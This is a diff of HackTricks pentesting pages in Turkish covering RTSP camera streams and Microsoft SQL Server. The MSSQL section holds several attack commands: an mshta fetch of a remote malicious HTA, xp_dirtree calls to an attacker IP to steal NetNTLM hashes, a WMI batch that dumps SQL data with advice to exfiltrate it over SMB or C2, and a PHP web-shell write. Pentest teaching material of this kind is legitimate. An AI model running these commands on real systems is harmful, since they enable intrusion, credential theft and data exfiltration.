|
||||||
|
- [A look at a P2P camera (LookCam app) – Almost Secure](https://palant.info/2025/09/08/a-look-at-a-p2p-camera-lookcam-app/)
|
||||||
|
- [PPPP device discovery on LAN (Paul Marrapese)](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
|
||||||
|
- [LookCam analysis (Warwick University, 2023)](https://www.dcs.warwick.ac.uk/~fenghao/files/hidden_camera.pdf)
|
||||||
|
- [General PPPP analysis – Elastic Security Labs (2024)](https://www.elastic.co/security-labs/storm-on-the-horizon)
|
||||||
|
- [CS2 Network sales deck (2016) – PPPP/threat model](https://prezi.com/5cztk-98izyc/cs2-network-p2p/)
|
||||||
|
- [Anyka hardened community firmware](https://github.com/Nemobi/Anyka/)
|
||||||
|
|
||||||
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
@ -6,32 +6,32 @@
|
|||||||
|
|
||||||
From [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):
|
From [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):
|
||||||
|
|
||||||
> **Gerçek Zamanlı Akış Protokolü** (**RTSP**), akış medya sunucularını kontrol etmek için eğlence ve iletişim sistemlerinde kullanılmak üzere tasarlanmış bir ağ kontrol protokolüdür. Protokol, uç noktalar arasında medya oturumları kurmak ve kontrol etmek için kullanılır. Medya sunucularının istemcileri, sunucudan bir istemciye (Video On Demand) veya bir istemciden sunucuya (Ses Kaydı) medya akışını gerçek zamanlı olarak kontrol etmek için oynatma, kaydetme ve duraklatma gibi VHS tarzı komutlar verir.
|
> The **Real Time Streaming Protocol** (**RTSP**) is a network control protocol designed for use in entertainment and communications systems to control streaming media servers. The protocol is used for establishing and controlling media sessions between end points. Clients of media servers issue VHS-style commands, such as play, record and pause, to facilitate real-time control of the media streaming from the server to a client (Video On Demand) or from a client to the server (Voice Recording).
|
||||||
>
|
>
|
||||||
> Akış verilerinin iletimi, RTSP'nin bir görevi değildir. Çoğu RTSP sunucusu, medya akışı teslimatı için Gerçek Zamanlı Taşıma Protokolü (RTP) ile birlikte Gerçek Zamanlı Kontrol Protokolü (RTCP) kullanır. Ancak, bazı satıcılar özel taşıma protokolleri uygular. Örneğin, RealNetworks'ten gelen RTSP sunucu yazılımı, aynı zamanda RealNetworks'ün özel Gerçek Veri Taşıma (RDT) protokolünü de kullanmaktadır.
|
> The transmission of streaming data itself is not a task of RTSP. Most RTSP servers use the Real-time Transport Protocol (RTP) in conjunction with Real-time Control Protocol (RTCP) for media stream delivery. However, some vendors implement proprietary transport protocols. The RTSP server software from RealNetworks, for example, also used RealNetworks' proprietary Real Data Transport (RDT).
|
||||||
|
|
||||||
**Varsayılan portlar:** 554,8554
|
**Varsayılan portlar:** 554,8554
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
554/tcp open rtsp
|
554/tcp open rtsp
|
||||||
```
|
```
|
||||||
## Ana Detaylar
|
## Temel Detaylar
|
||||||
|
|
||||||
**RTSP**, HTTP'ye benzer ancak özellikle medya akışı için tasarlanmıştır. Burada bulunabilen basit bir spesifikasyonda tanımlanmıştır:
|
**RTSP** HTTP'ye benzer ancak özellikle medya akışı için tasarlanmıştır. Basit bir spesifikasyonda tanımlanmıştır, şu adresten ulaşılabilir:
|
||||||
|
|
||||||
[RTSP – RFC2326](https://tools.ietf.org/html/rfc2326)
|
[RTSP – RFC2326](https://tools.ietf.org/html/rfc2326)
|
||||||
|
|
||||||
Cihazlar **kimlik doğrulaması yapılmamış** veya **kimlik doğrulaması yapılmış** erişime izin verebilir. Kontrol etmek için bir "DESCRIBE" isteği gönderilir. Aşağıda basit bir örnek gösterilmektedir:
|
Cihazlar **unauthenticated** veya **authenticated** erişime izin verebilir. Bunu kontrol etmek için bir "DESCRIBE" isteği gönderilir. Basit bir örnek aşağıda gösterilmiştir:
|
||||||
|
|
||||||
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2`
|
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2`
|
||||||
|
|
||||||
Doğru formatlamanın, tutarlı bir yanıt için çift "\r\n" içerdiğini unutmayın. "200 OK" yanıtı **kimlik doğrulaması yapılmamış erişimi** gösterirken, "401 Unauthorized" kimlik doğrulaması gerektiğini belirtir ve **Basic** veya **Digest authentication** gerekip gerekmediğini ortaya çıkarır.
|
Doğru formatlamada tutarlı bir cevap için çift "\r\n" bulunduğunu unutmayın. "200 OK" yanıtı **unauthenticated access** olduğunu gösterirken, "401 Unauthorized" kimlik doğrulama gerektiğini ve hangi yöntemin (ör. **Basic** veya **Digest authentication**) istendiğini ortaya koyar.
|
||||||
|
|
||||||
**Basic authentication** için, kullanıcı adı ve şifreyi base64 formatında kodlayarak isteğe dahil edersiniz:
|
**Basic authentication** için kullanıcı adı ve parolayı base64 ile encode edip isteğe şu şekilde ekleyin:
|
||||||
|
|
||||||
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==`
|
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==`
|
||||||
|
|
||||||
Bu örnek, kimlik bilgileri olarak "admin" ve "1234" kullanmaktadır. İşte böyle bir isteği göndermek için bir **Python scripti**:
|
Bu örnekte kimlik bilgileri olarak "admin" ve "1234" kullanılmıştır. Böyle bir isteği göndermek için bir **Python script**:
|
||||||
```python
|
```python
|
||||||
import socket
|
import socket
|
||||||
req = "DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n"
|
req = "DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n"
|
||||||
@ -41,42 +41,48 @@ s.sendall(req)
|
|||||||
data = s.recv(1024)
|
data = s.recv(1024)
|
||||||
print(data)
|
print(data)
|
||||||
```
|
```
|
||||||
**Temel kimlik doğrulama** daha basit ve tercih edilen bir yöntemdir. **Özet kimlik doğrulama** "401 Yetkisiz" yanıtında sağlanan kimlik doğrulama detaylarının dikkatli bir şekilde ele alınmasını gerektirir.
|
**Basic authentication** daha basit ve tercih edilir. **Digest authentication** "401 Unauthorized" yanıtında sağlanan kimlik doğrulama ayrıntılarının dikkatli işlenmesini gerektirir.
|
||||||
|
|
||||||
Bu genel bakış, RTSP akışlarına erişim sürecini basitleştirir ve ilk denemelerdeki basitliği ve pratikliği nedeniyle **Temel kimlik doğrulama** üzerine odaklanır.
|
Bu genel bakış, RTSP akışlarına erişme sürecini basitleştirir; ilk denemelerde sadeliği ve uygulanabilirliği nedeniyle **Basic authentication**'a odaklanır.
|
||||||
|
|
||||||
## Sayım
|
## Enumeration
|
||||||
|
|
||||||
Geçerli yöntemler ve desteklenen URL'ler hakkında bilgi alalım ve içeriğe erişim sağlamak için (gerekirse) brute-force denemesi yapalım.
|
Geçerli yöntemler ve desteklenen URLs hakkında bilgi toplayalım ve gerekirse içeriğe erişmek için brute-force ile deneme yapalım.
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script "rtsp-*" -p <PORT> <IP>
|
nmap -sV --script "rtsp-*" -p <PORT> <IP>
|
||||||
```
|
```
|
||||||
#### RTSP Akışını [ffplay](https://ffmpeg.org/ffplay.html) ile Görüntüleme
|
#### RTSP Akışını [ffplay](https://ffmpeg.org/ffplay.html) ile Görüntüleme
|
||||||
Geçerli bir RTSP yolu (örneğin, `/mpeg4`, `/live.sdp`) keşfettikten ve erişimi doğruladıktan (kimlik doğrulamasız veya kimlik bilgileri ile) sonra, akışı yayınlamak için `ffplay` kullanabilirsiniz:
|
Geçerli bir RTSP yolu (ör. `/mpeg4`, `/live.sdp`) bulduktan ve erişimi doğruladıktan (kimlik doğrulaması olmadan veya kimlik bilgileriyle), akışı oynatmak için `ffplay` kullanabilirsiniz:
|
||||||
```bash
|
```bash
|
||||||
ffplay -rtsp_transport tcp rtsp://<IP>/mpeg4 -x 2560 -y 1440
|
ffplay -rtsp_transport tcp rtsp://<IP>/mpeg4 -x 2560 -y 1440
|
||||||
```
|
```
|
||||||
- `-rtsp_transport tcp`: Daha güvenilir akış için UDP yerine TCP kullanın
|
- `-rtsp_transport tcp`: Daha güvenilir akış için UDP yerine TCP kullanın
|
||||||
- `-x`, `-y`: Video çözünürlüğünü kontrol etmek için isteğe bağlı bayraklar
|
- `-x`, `-y`: Video çözünürlüğünü kontrol etmek için isteğe bağlı bayraklar
|
||||||
- Gerekli yerlerde `<IP>` ve yolu değiştirin
|
- Gerekirse `<IP>` ve yolu değiştirin
|
||||||
|
|
||||||
### [Brute Force](../generic-hacking/brute-force.md#rtsp)
|
### [Brute Force](../generic-hacking/brute-force.md#rtsp)
|
||||||
|
|
||||||
### **Diğer yararlı programlar**
|
### **Diğer faydalı programlar**
|
||||||
|
|
||||||
Bruteforce için: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
|
Bruteforce için: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
|
||||||
|
|
||||||
[**Cameradar**](https://github.com/Ullaakut/cameradar)
|
[**Cameradar**](https://github.com/Ullaakut/cameradar)
|
||||||
|
|
||||||
- Erişilebilir herhangi bir hedefte açık RTSP sunucularını tespit edin
|
- Erişilebilen herhangi bir hedefte açık RTSP hostlarını tespit eder
|
||||||
- Kamu bilgilerini (hostname, port, kamera modeli vb.) alın
|
- Genel bilgilerini alır (hostname, port, camera model, vb.)
|
||||||
- Akış yolunu elde etmek için otomatik sözlük saldırıları başlatın (örneğin /live.sdp)
|
- Otomatik dictionary attacks başlatarak stream route (ör. /live.sdp) elde eder
|
||||||
- Kameraların kullanıcı adı ve şifresini elde etmek için otomatik sözlük saldırıları başlatın
|
- Kameraların kullanıcı adı ve şifresini elde etmek için otomatik dictionary attacks başlatır
|
||||||
- Akışların geçerli olup olmadığını kontrol etmek ve içeriklerinin hızlı bir önizlemesini almak için onlardan küçük resimler oluşturun
|
- Akışların geçerli olup olmadığını kontrol etmek ve içeriklerinin hızlı bir önizlemesini almak için bunlardan küçük resimler (thumbnails) oluşturur
|
||||||
- Doğru bir şekilde kodlanıp kodlanmadıklarını kontrol etmek için bir Gstreamer boru hattı oluşturmaya çalışın
|
- Doğru şekilde encode edilip edilmediklerini kontrol etmek için bir Gstreamer pipeline oluşturmaya çalışır
|
||||||
- Cameradar'ın elde edebildiği tüm bilgilerin bir özetini yazdırın
|
- Cameradar'ın elde edebildiği tüm bilgilerin bir özetini yazdırır
|
||||||
|
|
||||||
## References
|
### Ayrıca bakınız
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
32100-udp-pentesting-pppp-cs2-p2p-cameras.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
## Referanslar
|
||||||
|
|
||||||
- [https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol)
|
- [https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol)
|
||||||
- [http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)
|
- [http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)
|
||||||
|
|||||||
@ -4,35 +4,35 @@
|
|||||||
|
|
||||||
## Temel Bilgiler
|
## Temel Bilgiler
|
||||||
|
|
||||||
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
|
Kaynak [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
|
||||||
|
|
||||||
> **Microsoft SQL Server**, Microsoft tarafından geliştirilen bir **ilişkisel veritabanı** yönetim sistemidir. Bir veritabanı sunucusu olarak, diğer yazılım uygulamaları tarafından talep edilen verileri depolama ve geri getirme işlevine sahip bir yazılım ürünüdür; bu uygulamalar aynı bilgisayarda veya bir ağ üzerinden (İnternet dahil) başka bir bilgisayarda çalışabilir.
|
> **Microsoft SQL Server** Microsoft tarafından geliştirilen bir **ilişkisel veritabanı** yönetim sistemidir. Bir veritabanı sunucusu olarak, diğer yazılım uygulamaları tarafından istendiğinde verileri depolama ve geri alma birincil işlevine sahip bir yazılım ürünüdür — bu uygulamalar aynı bilgisayarda veya bir ağ üzerinden (İnternet dahil) başka bir bilgisayarda çalışıyor olabilir.
|
||||||
|
|
||||||
**Varsayılan port:** 1433
|
**Varsayılan port:** 1433
|
||||||
```
|
```
|
||||||
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
|
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
|
||||||
```
|
```
|
||||||
### **Varsayılan MS-SQL Sistem Tabloları**
|
### **Varsayılan MS-SQL System Tables**
|
||||||
|
|
||||||
- **master Veritabanı**: Bu veritabanı, bir SQL Server örneği için tüm sistem düzeyindeki ayrıntıları yakaladığı için kritik öneme sahiptir.
|
- **master Database**: Bu veritabanı, bir SQL Server örneği için tüm sistem düzeyi ayrıntılarını yakaladığı için kritiktir.
|
||||||
- **msdb Veritabanı**: SQL Server Agent, uyarılar ve işler için zamanlama yönetimi yapmak üzere bu veritabanını kullanır.
|
- **msdb Database**: SQL Server Agent, uyarılar ve işlerin zamanlamasını yönetmek için bu veritabanını kullanır.
|
||||||
- **model Veritabanı**: SQL Server örneğindeki her yeni veritabanı için bir şablon görevi görür; boyut, sıralama, kurtarma modeli gibi değişiklikler, yeni oluşturulan veritabanlarında yansıtılır.
|
- **model Database**: SQL Server örneğindeki her yeni veritabanı için bir şablon görevi görür; boyut, collation, kurtarma modeli ve benzeri yapılan tüm değişiklikler yeni oluşturulan veritabanlarına yansıtılır.
|
||||||
- **Resource Veritabanı**: SQL Server ile birlikte gelen sistem nesnelerini barındıran salt okunur bir veritabanıdır. Bu nesneler, Resource veritabanında fiziksel olarak saklanırken, her veritabanının sys şemasında mantıksal olarak sunulur.
|
- **Resource Database**: SQL Server ile birlikte gelen sistem nesnelerini barındıran salt okunur bir veritabanıdır. Bu nesneler fiziksel olarak Resource database içinde depolanırken, mantıksal olarak her veritabanının sys şemasında sunulur.
|
||||||
- **tempdb Veritabanı**: Geçici nesneler veya ara sonuç setleri için geçici bir depolama alanı olarak hizmet eder.
|
- **tempdb Database**: Geçici nesneler veya ara sonuç kümeleri için geçici bir depolama alanı olarak hizmet verir.
|
||||||
|
|
||||||
## Sayım
|
## Enumeration
|
||||||
|
|
||||||
### Otomatik Sayım
|
### Automatic Enumeration
|
||||||
|
|
||||||
Hizmet hakkında hiçbir şey bilmiyorsanız:
|
If you don't know anything about the service:
|
||||||
```bash
|
```bash
|
||||||
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
|
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
|
||||||
msf> use auxiliary/scanner/mssql/mssql_ping
|
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||||
```
|
```
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Eğer **kimlik bilgilerin yoksa** bunları tahmin etmeyi deneyebilirsin. nmap veya metasploit kullanabilirsin. Dikkatli ol, mevcut bir kullanıcı adı ile birkaç kez giriş yapmaya çalışırsan **hesapları engelleyebilirsin**.
|
> Eğer **credentials**'e sahip değilseniz, onları tahmin etmeyi deneyebilirsiniz. nmap veya metasploit kullanabilirsiniz. Dikkatli olun — var olan bir kullanıcı adıyla birkaç kez başarısız giriş denerseniz **hesapları kilitleyebilirsiniz**.
|
||||||
|
|
||||||
#### Metasploit (kimlik bilgileri gerekli)
|
#### Metasploit (need creds)
|
||||||
```bash
|
```bash
|
||||||
#Set USERNAME, RHOSTS and PASSWORD
|
#Set USERNAME, RHOSTS and PASSWORD
|
||||||
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
|
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
|
||||||
@ -66,7 +66,7 @@ msf> use windows/manage/mssql_local_auth_bypass
|
|||||||
```
|
```
|
||||||
### [**Brute force**](../../generic-hacking/brute-force.md#sql-server)
|
### [**Brute force**](../../generic-hacking/brute-force.md#sql-server)
|
||||||
|
|
||||||
### Manuel Sayım
|
### Manuel Keşif
|
||||||
|
|
||||||
#### Giriş
|
#### Giriş
|
||||||
|
|
||||||
@ -102,7 +102,7 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
|
|||||||
1> select 1;
|
1> select 1;
|
||||||
2> go
|
2> go
|
||||||
```
|
```
|
||||||
#### Yaygın Sayım
|
#### Yaygın Enumeration
|
||||||
```sql
|
```sql
|
||||||
# Get version
|
# Get version
|
||||||
select @@version;
|
select @@version;
|
||||||
@ -129,7 +129,7 @@ enum_links
|
|||||||
#Use a link
|
#Use a link
|
||||||
use_link [NAME]
|
use_link [NAME]
|
||||||
```
|
```
|
||||||
#### Kullanıcı Al
|
#### Kullanıcıyı Al
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -154,16 +154,16 @@ order by name;
|
|||||||
EXEC sp_helpuser
|
EXEC sp_helpuser
|
||||||
SELECT * FROM sysusers
|
SELECT * FROM sysusers
|
||||||
```
|
```
|
||||||
#### İzinleri Al
|
#### İzinleri Alma
|
||||||
|
|
||||||
1. **Securable:** Erişim kontrolü için SQL Server tarafından yönetilen kaynaklar olarak tanımlanır. Bunlar şu şekilde kategorize edilir:
|
1. **Securable:** SQL Server tarafından erişim kontrolü için yönetilen kaynaklar olarak tanımlanır. Bunlar şu kategorilere ayrılır:
|
||||||
- **Sunucu** – Örnekler arasında veritabanları, girişler, uç noktalar, kullanılabilirlik grupları ve sunucu rolleri bulunur.
|
- **Sunucu** – Örnekler: veritabanları, girişler (logins), uç noktalar (endpoints), availability grupları ve sunucu rolleri.
|
||||||
- **Veritabanı** – Örnekler arasında veritabanı rolleri, uygulama rolleri, şemalar, sertifikalar, tam metin katalogları ve kullanıcılar yer alır.
|
- **Veritabanı** – Örnekler: veritabanı rolleri, uygulama rolleri, şemalar, sertifikalar, tam metin katalogları ve kullanıcılar.
|
||||||
- **Şema** – Tablo, görünüm, prosedür, fonksiyon, eşanlamlılar vb. içerir.
|
- **Şema** – Tablolar, görünümler, prosedürler, fonksiyonlar, synonyms vb. içerir.
|
||||||
2. **İzin:** SQL Server securables ile ilişkili olan izinler, ALTER, CONTROL ve CREATE gibi, bir prensibe verilebilir. İzinlerin yönetimi iki seviyede gerçekleşir:
|
2. **İzin:** SQL Server securable'larıyla ilişkilidir; ALTER, CONTROL ve CREATE gibi izinler bir principal’e verilebilir. İzinlerin yönetimi iki düzeyde gerçekleşir:
|
||||||
- **Sunucu Seviyesi** girişler kullanılarak
|
- **Sunucu Düzeyi** — logins kullanılarak
|
||||||
- **Veritabanı Seviyesi** kullanıcılar kullanılarak
|
- **Veritabanı Düzeyi** — kullanıcılar kullanılarak
|
||||||
3. **Prensip:** Bu terim, bir securable'a izin verilen varlığı ifade eder. Prensipler esas olarak girişler ve veritabanı kullanıcılarını içerir. Securables'a erişim üzerindeki kontrol, izinlerin verilmesi veya reddedilmesi yoluyla veya girişlerin ve kullanıcıların erişim haklarına sahip rollere dahil edilmesiyle sağlanır.
|
3. **Principal:** Bir securable’a izin verilen varlık anlamına gelir. Principal’ler genellikle logins ve veritabanı kullanıcılarını içerir. Securable’lara erişim, izinlerin verilmesi veya reddedilmesi yoluyla ya da ilgili erişim haklarına sahip rollere logins ve kullanıcıların eklenmesiyle kontrol edilir.
|
||||||
```sql
|
```sql
|
||||||
# Show all different securables names
|
# Show all different securables names
|
||||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||||
@ -183,12 +183,12 @@ SELECT IS_SRVROLEMEMBER('sysadmin');
|
|||||||
Use master
|
Use master
|
||||||
EXEC sp_helprotect 'xp_cmdshell'
|
EXEC sp_helprotect 'xp_cmdshell'
|
||||||
```
|
```
|
||||||
## Tricks
|
## İpuçları
|
||||||
|
|
||||||
### OS Komutlarını Çalıştır
|
### OS Komutlarını Çalıştır
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> Komutları çalıştırabilmek için sadece **`xp_cmdshell`** **etkin** olmasının yeterli olmadığını, aynı zamanda **`xp_cmdshell` saklı yordamında EXECUTE iznine** de sahip olmanız gerektiğini unutmayın. **`xp_cmdshell`**'i kimlerin (sysadminler hariç) kullanabileceğini öğrenmek için:
|
> Komutları çalıştırabilmek için yalnızca **`xp_cmdshell`**'in **enabled** olması yeterli değildir; ayrıca **EXECUTE permission on the `xp_cmdshell` stored procedure**'a da sahip olmanız gerekir. Hangi kullanıcıların (sysadmins hariç) **`xp_cmdshell`** kullanabileceğini şu komutla öğrenebilirsiniz:
|
||||||
>
|
>
|
||||||
> ```sql
|
> ```sql
|
||||||
> Use master
|
> Use master
|
||||||
@ -235,13 +235,45 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
|
|||||||
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
|
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
|
||||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
|
||||||
```
|
```
|
||||||
### Hashlenmiş şifreleri alın
|
### WMI tabanlı uzaktan SQL toplama (sqlcmd + CSV export)
|
||||||
|
|
||||||
|
Operatörler, WMI kullanarak IIS/app tier'den SQL Server'lara pivot yapıp MSSQL'e kimlik doğrulayan küçük bir batch çalıştırabilir ve ad-hoc sorguların sonuçlarını CSV'ye dışa aktarabilir. Bu, veri toplamayı basit tutar ve yönetici etkinlikleriyle karışır.
|
||||||
|
|
||||||
|
Örnek mssq.bat
|
||||||
|
```bat
|
||||||
|
@echo off
|
||||||
|
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
|
||||||
|
set S=%1
|
||||||
|
set U=%2
|
||||||
|
set P=%3
|
||||||
|
set Q=%4
|
||||||
|
set O=%5
|
||||||
|
rem Remove headers, trim trailing spaces, CSV separator = comma
|
||||||
|
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"
|
||||||
|
```
|
||||||
|
Bunu uzaktan WMI ile çalıştırın.
|
||||||
|
```cmd
|
||||||
|
wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"
|
||||||
|
```
|
||||||
|
PowerShell alternatifi
|
||||||
|
```powershell
|
||||||
|
$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
|
||||||
|
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd
|
||||||
|
```
|
||||||
|
Notlar
|
||||||
|
- sqlcmd bulunmayabilir; osql, PowerShell Invoke-Sqlcmd veya System.Data.SqlClient kullanan tek satırlık bir komuta geri dönün.
|
||||||
|
- Tırnaklamayı dikkatli kullanın; uzun/karmaşık sorguları bir dosya aracılığıyla veya batch/PowerShell stub içinde decode edilen Base64‑kodlu bir argüman olarak vermek daha kolaydır.
|
||||||
|
- Exfil the CSV via SMB (ör. \\SQLHOST\C$\Windows\Temp'ten kopyalayın) veya sıkıştırıp C2'niz üzerinden taşıyın.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Hashlenmiş parolaları alın
|
||||||
```bash
|
```bash
|
||||||
SELECT * FROM master.sys.syslogins;
|
SELECT * FROM master.sys.syslogins;
|
||||||
```
|
```
|
||||||
### NetNTLM hash'ını Çal / Relay saldırısı
|
### Steal NetNTLM hash / Relay attack
|
||||||
|
|
||||||
Kimlik doğrulamada kullanılan hash'i yakalamak için bir **SMB sunucusu** başlatmalısınız (`impacket-smbserver` veya `responder` gibi).
|
authentication sırasında kullanılan hash'i yakalamak için bir **SMB server** başlatmalısınız (örneğin `impacket-smbserver` veya `responder`).
|
||||||
```bash
|
```bash
|
||||||
xp_dirtree '\\<attacker_IP>\any\thing'
|
xp_dirtree '\\<attacker_IP>\any\thing'
|
||||||
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
|
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
|
||||||
@ -265,7 +297,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
|
|||||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
|
||||||
```
|
```
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Sysadminler dışında kimin bu MSSQL fonksiyonlarını çalıştırma iznine sahip olduğunu kontrol edebilirsiniz:
|
> Sysadmin'ler dışında kimlerin bu MSSQL fonksiyonlarını çalıştırma iznine sahip olduğunu şu şekilde kontrol edebilirsiniz:
|
||||||
>
|
>
|
||||||
> ```sql
|
> ```sql
|
||||||
> Use master;
|
> Use master;
|
||||||
@ -274,18 +306,16 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
|
|||||||
> EXEC sp_helprotect 'xp_fileexist';
|
> EXEC sp_helprotect 'xp_fileexist';
|
||||||
> ```
|
> ```
|
||||||
|
|
||||||
**Responder** veya **Inveigh** gibi araçlar kullanarak **NetNTLM hash'ini çalmak** mümkündür.\
|
Using tools such as **responder** or **Inveigh** it's possible to **steal the NetNTLM hash**.\
|
||||||
Bu araçları nasıl kullanacağınızı görebilirsiniz:
|
Bu araçların nasıl kullanılacağını şu adreste görebilirsiniz:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### MSSQL Güvenilir Bağlantıların Kötüye Kullanılması
|
### MSSQL trusted Links'i kötüye kullanma
|
||||||
|
|
||||||
[**Bu yazıyı okuyun**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **bu özelliği nasıl kötüye kullanacağınız hakkında daha fazla bilgi bulmak için:**
|
|
||||||
|
|
||||||
|
[**Read this post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **bu özelliği kötüye kullanma hakkında daha fazla bilgi için:**
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
|
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
|
||||||
@ -293,7 +323,7 @@ Bu araçları nasıl kullanacağınızı görebilirsiniz:
|
|||||||
|
|
||||||
### **Dosya Yazma**
|
### **Dosya Yazma**
|
||||||
|
|
||||||
`MSSQL` kullanarak dosya yazmak için, **Ole Automation Procedures**'ı [**etkinleştirmemiz**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option) gerekiyor, bu da yönetici ayrıcalıkları gerektirir ve ardından dosyayı oluşturmak için bazı saklı prosedürleri çalıştırmalıyız:
|
Dosyaları `MSSQL` kullanarak yazmak için [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)'u **etkinleştirmemiz gerekir**, bu da admin ayrıcalıkları gerektirir ve ardından dosyayı oluşturmak için bazı saklı yordamları çalıştırmamız gerekir:
|
||||||
```bash
|
```bash
|
||||||
# Enable Ole Automation Procedures
|
# Enable Ole Automation Procedures
|
||||||
sp_configure 'show advanced options', 1
|
sp_configure 'show advanced options', 1
|
||||||
@ -311,30 +341,30 @@ EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"
|
|||||||
EXECUTE sp_OADestroy @FileID
|
EXECUTE sp_OADestroy @FileID
|
||||||
EXECUTE sp_OADestroy @OLE
|
EXECUTE sp_OADestroy @OLE
|
||||||
```
|
```
|
||||||
### **Dosyayı** OPENROWSET **ile oku**
|
### **Dosyayı okumak için** OPENROWSET
|
